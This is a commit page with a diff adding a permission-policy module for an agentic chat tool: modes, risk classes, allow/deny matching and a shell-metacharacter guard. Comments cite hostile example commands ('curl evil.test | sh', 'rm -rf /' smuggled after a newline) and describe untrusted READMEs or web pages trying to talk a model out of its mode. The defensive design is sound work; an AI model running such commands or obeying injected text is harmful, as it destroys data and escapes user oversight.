A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,36 @@
|
||||
"""Agentic execution: running commands and touching files on the model's behalf.
|
||||
|
||||
Four parts, and the split is the safety argument. `policy` decides what may
|
||||
happen without asking and knows nothing about how anything runs. `base` is the
|
||||
interface a target implements. `local` runs on this machine inside a bubblewrap
|
||||
sandbox that cannot see the database or the encryption key; `ssh` runs on
|
||||
somebody else's machine, where nothing is sandboxed and the credential is the
|
||||
whole of the trust.
|
||||
|
||||
The mode is enforced in the generation loop, not in the prompt. A model is told
|
||||
which mode it is in so it can behave sensibly, but being told is not what stops
|
||||
it: everything it reads is untrusted, and a rule written only into a system
|
||||
message is a rule a poisoned README can argue with.
|
||||
"""
|
||||
|
||||
from lembas.services.agent.policy import (
|
||||
MODE_AUTO,
|
||||
MODE_EDIT,
|
||||
MODE_MANUAL,
|
||||
MODE_PLAN,
|
||||
MODES,
|
||||
Decision,
|
||||
Limits,
|
||||
decide,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"MODES",
|
||||
"MODE_AUTO",
|
||||
"MODE_EDIT",
|
||||
"MODE_MANUAL",
|
||||
"MODE_PLAN",
|
||||
"Decision",
|
||||
"Limits",
|
||||
"decide",
|
||||
]
|
||||
@@ -0,0 +1,184 @@
|
||||
"""What an agent chat is allowed to do without asking.
|
||||
|
||||
Four modes, one table, indexed by what a tool does to the world. Adding a mode
|
||||
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
|
||||
somewhere else in the codebase is a sign this table is wrong rather than that
|
||||
the table is insufficient.
|
||||
|
||||
The important thing about all of it: **this is consulted in the generation loop,
|
||||
not written into the prompt.** A mode a model is merely told about is a mode a
|
||||
model can be talked out of, and everything a model reads -- a web page, a
|
||||
README, the output of a command it just ran -- is untrusted text that may be
|
||||
trying to do exactly that.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from fnmatch import fnmatch
|
||||
|
||||
from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
|
||||
|
||||
MODE_MANUAL = "manual"
|
||||
MODE_EDIT = "edit"
|
||||
MODE_AUTO = "auto"
|
||||
MODE_PLAN = "plan"
|
||||
|
||||
MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
|
||||
|
||||
MODE_LABELS = {
|
||||
MODE_MANUAL: "Manual",
|
||||
MODE_EDIT: "Edit",
|
||||
MODE_AUTO: "Auto",
|
||||
MODE_PLAN: "Plan",
|
||||
}
|
||||
|
||||
MODE_HINTS = {
|
||||
MODE_MANUAL: "Everything is shown to you before it happens.",
|
||||
MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
|
||||
MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
|
||||
MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
|
||||
}
|
||||
|
||||
ALLOW = "allow"
|
||||
ASK = "ask"
|
||||
|
||||
# The whole feature. Read across a row to see what a mode means.
|
||||
POLICY: dict[str, dict[str, str]] = {
|
||||
MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
|
||||
MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
|
||||
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
}
|
||||
|
||||
# A shell metacharacter makes a command line unmatchable, so it falls through to
|
||||
# the mode's own verdict rather than to an allow-list entry. Without this,
|
||||
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
|
||||
# is the whole ballgame. A deny list needs no such rule: failing open there
|
||||
# returns you to the mode, while failing open on an allow list runs the command.
|
||||
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Decision:
|
||||
verdict: str
|
||||
reason: str = ""
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Limits:
|
||||
"""What one agent reply may spend.
|
||||
|
||||
Three axes because they fail differently. Steps stop a loop; wall clock
|
||||
stops a single slow command eating an afternoon; output stops a model
|
||||
filling its own context with build logs and having no room left to answer.
|
||||
"""
|
||||
|
||||
steps: int = 40
|
||||
wall_seconds: float = 900.0
|
||||
output_bytes: int = 1024 * 1024
|
||||
|
||||
|
||||
def subject(tool_name: str, command: str = "") -> str | None:
|
||||
"""What a pattern is matched against, or None when nothing may match it.
|
||||
|
||||
For everything but a command it is the tool name, so `file_read` in an
|
||||
allow list means "reading files never asks". For `shell_run` it is the
|
||||
command line, normalised -- unless it contains anything that composes two
|
||||
commands into one, in which case no pattern is allowed to match at all.
|
||||
"""
|
||||
if tool_name != "shell_run":
|
||||
return tool_name
|
||||
raw = command or ""
|
||||
# Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
|
||||
# first would turn "git status\nrm -rf /" into a single innocent-looking
|
||||
# line and let it match `git *` -- a newline separates two commands exactly
|
||||
# as a semicolon does.
|
||||
if _UNSAFE.search(raw):
|
||||
return None
|
||||
line = " ".join(raw.split())
|
||||
return line or None
|
||||
|
||||
|
||||
def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
|
||||
if candidate is None:
|
||||
return ""
|
||||
for pattern in patterns:
|
||||
if fnmatch(candidate, pattern):
|
||||
return pattern
|
||||
return ""
|
||||
|
||||
|
||||
def decide(
|
||||
*,
|
||||
mode: str,
|
||||
risk: str,
|
||||
tool_name: str,
|
||||
command: str = "",
|
||||
allow: tuple[str, ...] = (),
|
||||
deny: tuple[str, ...] = (),
|
||||
) -> Decision:
|
||||
"""What to do about one call.
|
||||
|
||||
The order is the design:
|
||||
|
||||
1. A deny wins before everything, **including Auto**. A deny list that Auto
|
||||
ignores is not a deny list, it is a suggestion.
|
||||
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
|
||||
what the tool is for, and a mode that skipped it would answer the
|
||||
model's question on the reader's behalf.
|
||||
3. An allow-list hit runs it.
|
||||
4. Otherwise the table.
|
||||
|
||||
An unrecognised mode is treated as Manual, not Auto: a row that predates a
|
||||
rename has to fail towards asking.
|
||||
"""
|
||||
candidate = subject(tool_name, command)
|
||||
|
||||
hit = _matches(deny, candidate)
|
||||
if hit:
|
||||
return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
|
||||
|
||||
if risk == RISK_ASK:
|
||||
return Decision(ASK, "")
|
||||
|
||||
if mode not in POLICY:
|
||||
return Decision(ASK, f"“{mode}” is not a mode I know, so I am asking.")
|
||||
|
||||
hit = _matches(allow, candidate)
|
||||
if hit:
|
||||
return Decision(ALLOW, f"“{hit}” is on the list of things to allow.")
|
||||
|
||||
verdict = POLICY[mode].get(risk, ASK)
|
||||
if verdict == ALLOW:
|
||||
return Decision(ALLOW, "")
|
||||
|
||||
label = MODE_LABELS.get(mode, mode)
|
||||
return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
|
||||
|
||||
|
||||
def _verb(risk: str) -> str:
|
||||
return {
|
||||
RISK_READ: "reads",
|
||||
RISK_WRITE: "changes a file",
|
||||
RISK_EXECUTE: "runs a command",
|
||||
}.get(risk, "does this")
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ALLOW",
|
||||
"ASK",
|
||||
"MODES",
|
||||
"MODE_AUTO",
|
||||
"MODE_EDIT",
|
||||
"MODE_HINTS",
|
||||
"MODE_LABELS",
|
||||
"MODE_MANUAL",
|
||||
"MODE_PLAN",
|
||||
"POLICY",
|
||||
"Decision",
|
||||
"Limits",
|
||||
"decide",
|
||||
"subject",
|
||||
]
|
||||
Reference in New Issue
Block a user